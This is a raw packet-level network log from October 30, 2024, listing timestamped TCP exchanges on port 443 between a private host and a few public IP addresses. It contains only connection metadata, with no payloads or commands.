Oct 30, 2024 04:34:18.444983959 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.444992065 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.454662085 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.454895020 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.454963923 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.455382109 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.455385923 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.455394983 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.455398083 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.457161903 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.457170963 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.457237959 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.457336903 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:18.457343102 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:18.467102051 CET	443	49731	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.467163086 CET	443	49731	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.467195988 CET	443	49731	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.467240095 CET	49731	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.467248917 CET	443	49731	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.467434883 CET	49731	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.467952967 CET	443	49731	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.469206095 CET	49731	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.469237089 CET	443	49731	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.469398975 CET	443	49731	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.469449043 CET	49731	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.469460964 CET	49731	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.544552088 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.544831991 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.544853926 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.548930883 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.549020052 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.549348116 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.549484968 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.549493074 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.549531937 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.585107088 CET	443	49738	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.585459948 CET	49738	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.585473061 CET	443	49738	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.586508036 CET	443	49738	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.586602926 CET	49738	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.586987972 CET	49738	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.586987972 CET	49738	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.587061882 CET	443	49738	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.594866991 CET	443	49706	173.222.162.64	192.168.2.6
Oct 30, 2024 04:34:18.595128059 CET	49706	443	192.168.2.6	173.222.162.64
Oct 30, 2024 04:34:18.604931116 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.604949951 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.636288881 CET	49738	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.636303902 CET	443	49738	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.651854992 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.683079004 CET	49738	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.734608889 CET	443	49741	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.734950066 CET	49741	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.734977007 CET	443	49741	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.736046076 CET	443	49741	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.736128092 CET	49741	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.736571074 CET	49741	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.736635923 CET	443	49741	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.776788950 CET	49741	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.776827097 CET	443	49741	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.823683023 CET	49741	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.835030079 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.835174084 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.835289955 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.835357904 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.835386992 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.835468054 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.835519075 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.835526943 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.835555077 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.835597038 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.843362093 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.843426943 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.843444109 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.865036011 CET	443	49738	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.886202097 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.886225939 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.906188965 CET	49738	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.906210899 CET	443	49738	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.907371044 CET	49738	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.907465935 CET	443	49738	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.907535076 CET	49738	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.938009024 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.951503038 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.951657057 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.951728106 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.951750994 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.955348969 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.955414057 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.955429077 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.959666014 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.959728956 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.959742069 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.968310118 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.968390942 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.968408108 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.977309942 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.977374077 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.977391005 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.985956907 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.989814043 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.989831924 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.994713068 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:18.994863033 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:18.994875908 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.003465891 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.003581047 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.003597021 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.011895895 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.011955976 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.011972904 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.058645010 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.058667898 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.068315029 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.068406105 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.068423033 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.068454027 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.068515062 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.068625927 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.068835020 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.068893909 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.068905115 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.072026014 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.072088003 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.072103024 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.075870037 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.075984001 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.075999975 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.079104900 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.079175949 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.079190969 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.085860968 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.085921049 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.085937977 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.092015028 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.092087984 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.092097998 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.092123985 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.092179060 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.098020077 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.104052067 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.104145050 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.104182959 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.104202032 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.104280949 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.110200882 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.116215944 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.116312981 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.116331100 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.122266054 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.122328997 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.122349024 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.128437996 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.128519058 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.128528118 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.128544092 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.128590107 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.134432077 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.140511990 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.140547037 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.140618086 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.140636921 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.140676022 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.146855116 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.152602911 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.152630091 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.152694941 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.152714014 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.152899027 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.157031059 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.157612085 CET	49743	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.157633066 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.158281088 CET	49743	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.158287048 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.158833027 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.168800116 CET	443	49744	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.169342995 CET	49744	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.169363022 CET	443	49744	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.169971943 CET	49744	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.169981956 CET	443	49744	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.173616886 CET	443	49742	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.174531937 CET	49742	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.174562931 CET	443	49742	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.174992085 CET	49742	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.174999952 CET	443	49742	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.175306082 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.175656080 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.175694942 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.176188946 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.176197052 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.179706097 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.179769039 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.179789066 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.185122967 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.185203075 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.185211897 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.185228109 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.185276985 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.185416937 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.185729027 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.185795069 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.185805082 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.188067913 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.188160896 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.188173056 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.193486929 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.193553925 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.193567991 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.197107077 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.197475910 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.197494030 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.197915077 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.197925091 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.199187994 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.199278116 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.199279070 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.199305058 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.199361086 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.204386950 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.207715034 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.207750082 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.207803965 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.207819939 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.207942009 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.211199045 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.214263916 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.214354038 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.214411020 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.214430094 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.214557886 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.217614889 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.220994949 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.221024036 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.221050024 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.221067905 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.221124887 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.224073887 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.227209091 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.227263927 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.227277994 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.227291107 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.227418900 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.230267048 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.277395010 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.277425051 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.277861118 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.277966976 CET	443	49737	142.250.185.228	192.168.2.6
Oct 30, 2024 04:34:19.278028965 CET	49737	443	192.168.2.6	142.250.185.228
Oct 30, 2024 04:34:19.286020041 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.286133051 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.286197901 CET	49743	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.286417007 CET	49743	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.286437988 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.286458969 CET	49743	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.286463976 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.297768116 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.297811985 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.297883987 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.298374891 CET	443	49744	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.298424959 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.298439980 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.298450947 CET	443	49744	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.298511982 CET	49744	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.298727036 CET	49744	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.298743963 CET	443	49744	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.301034927 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.301049948 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.301117897 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.301309109 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.301322937 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.305309057 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.305428028 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.305476904 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.305524111 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.305542946 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.305557966 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.305563927 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.310988903 CET	443	49742	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.311083078 CET	443	49742	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.311615944 CET	49742	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.331429958 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.331680059 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.331770897 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.342478037 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.342524052 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.342988968 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.344346046 CET	49742	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.344357967 CET	443	49742	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.344368935 CET	49742	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.344372988 CET	443	49742	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.345339060 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.345354080 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.345362902 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.345366955 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.347594976 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.347611904 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.350076914 CET	49750	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.350100994 CET	443	49750	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.350300074 CET	49750	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.354156971 CET	49751	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.354170084 CET	443	49751	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.354239941 CET	49751	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.354389906 CET	49751	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.354401112 CET	443	49751	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:19.354522943 CET	49750	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:19.354532957 CET	443	49750	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.044122934 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.045310974 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.045331001 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.045998096 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.046005964 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.076608896 CET	443	49750	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.077208996 CET	49750	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.077250004 CET	443	49750	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.078182936 CET	49750	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.078191042 CET	443	49750	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.096080065 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.096491098 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.096513033 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.096945047 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.096952915 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.104748964 CET	443	49751	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.105168104 CET	49751	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.105182886 CET	443	49751	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.105551958 CET	49751	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.105557919 CET	443	49751	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.175956964 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.176053047 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.176208019 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.176249981 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.176256895 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.176270962 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.176276922 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.179276943 CET	49756	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.179303885 CET	443	49756	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.179399967 CET	49756	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.179610014 CET	49756	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:20.179620981 CET	443	49756	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.204574108 CET	443	49750	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:20.204655886 CET	443	49750	13.107.246.45	192.168.2.6
